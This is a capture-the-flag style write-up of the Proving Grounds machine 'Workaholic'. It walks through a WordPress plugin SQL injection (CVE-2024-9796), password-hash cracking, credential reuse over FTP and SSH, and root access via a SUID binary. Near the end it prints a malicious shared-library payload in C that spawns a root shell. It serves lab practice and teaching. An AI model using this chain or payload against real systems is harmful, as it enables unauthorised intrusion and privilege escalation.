Workaholic Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 3 min read
Workaholic runs WordPress with a vulnerable search plugin whose unauthenticated SQL injection (CVE-2024-9796) dumps the user password hashes. Cracking one gets FTP access to wp-config.php, whose database password is reused for SSH. From there, a custom SUID binary loads a shared library from a world-writable home directory, which is enough to run arbitrary code as root.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3 80/tcp open http nginx 1.24.0 (WordPress 6.7.2)
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sC -sV | Run default scripts and probe service versions. |
WordPress 6.7.2 on nginx. Manual inspection turns up three users: admin, charlie, ted, plus the wp-advanced-search plugin.
Plugin discovery
Confirm the plugin version from its readme.
=== WP Advanced Search === Stable tag: 3.3.8
wp-advanced-search <= 3.3.8 has an unauthenticated SQL injection, CVE-2024-9796.
Exploitation
CVE-2024-9796: unauthenticated SQLi
The vulnerable parameter is t=, the table name passed into the autocompletion query, not the q= search term it looks like at first glance. Inject a UNION through it to pull user password hashes.
admin charlie ted $P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn. $P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p. $P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/
If that filename 404s, the server may expect autocompletion.php instead depending on its PHP version, or the request may need to go through admin-ajax.php if nginx isn't routing PHP in the plugin subdirectory directly.
Cracking the hashes
These are WordPress phpass hashes (hashcat mode 400).
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.:$TED_PASSWORD
Explain command
| -m 400 | Hash mode for WordPress phpass ($P$/$H$) hashes. |
Ted's hash cracks. Use it over FTP to pull the WordPress config.
226 Transfer complete.
The config leaks the database password.
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', '$WPADMIN_PASSWORD' );
Try that password against the other known user over SSH.
charlie@workaholic:~$ cat ~/local.txt
It's reused directly for charlie's SSH login.
Privilege Escalation
SUID binary and shared library hijacking
Look for unusual SUID binaries.
/var/www/html/wordpress/blog/wp-monitor
Explain command
| -perm -u=s | Match files with the setuid bit set. |
A custom SUID binary sitting inside the WordPress install, not a standard system path, is an immediate red flag. Check what it loads.
setuid ELF 64-bit LSB pie executable, x86-64, dynamically linked /home/ted/.lib/libsecurity.so [!] Function not found in the library! dlopen@GLIBC_2.34 dlsym@GLIBC_2.34
The binary dlopens /home/ted/.lib/libsecurity.so and looks up a function called init_plugin with dlsym. Neither the directory nor the library exist yet, and ted's home directory turns out to be world-writable.
drwxrwxrwx 5 ted ted 4096 ... /home/ted
Create the expected directory and plant a malicious library exporting that exact function name.
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Explain command
| -fPIC -shared | Compile position-independent code into a shared library. |
Run the SUID binary; it loads the planted library and calls init_plugin() as root.
bash-5.1# whoami root
Related
References
-
WP Advanced Search unauthenticated SQL injection via the autocompletion endpoint's table parameter.